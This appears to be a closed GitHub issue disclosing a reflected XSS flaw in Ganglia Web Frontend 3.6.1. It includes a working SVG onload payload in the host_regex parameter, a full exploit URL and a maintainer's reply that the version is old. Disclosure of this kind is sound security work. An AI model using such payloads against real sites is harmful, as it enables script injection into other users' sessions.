Closed corrupted-brain closed 4 years ago
Ganglia Web Frontend version 3.6.1 is vulnerable to Reflected XSS.
Vulnerable Endpoint: http://localhost/?r=hour&cs=&ce=&c=cluster&h=&tab=m&vn=&hide-hf=false&m=load_one&sh=1&z=small&hc=4&host_regex='"<!--><Svg+OnLoad%3D(confirm)(1)-->&max_graphs=0&s=by+name Where the vulnerable parameter is _hostregex and working payload to execute XSS is '"<!--><Svg OnLoad=(confirm)(1)-->
'"<!--><Svg OnLoad=(confirm)(1)-->
Proof of Concept:
3.6.1 is quite old. Please check with latest version as this should have been fixed.
Ganglia Web Frontend version 3.6.1 is vulnerable to Reflected XSS.
Vulnerable Endpoint: http://localhost/?r=hour&cs=&ce=&c=cluster&h=&tab=m&vn=&hide-hf=false&m=load_one&sh=1&z=small&hc=4&host_regex='"<!--><Svg+OnLoad%3D(confirm)(1)-->&max_graphs=0&s=by+name Where the vulnerable parameter is _hostregex and working payload to execute XSS is
'"<!--><Svg OnLoad=(confirm)(1)-->
Proof of Concept:![Screenshot from 2020-02-25 01-35-44](https://user-images.githubusercontent.com/17331670/75186231-a46fd400-576f-11ea-80f3-fb0b43761905.png)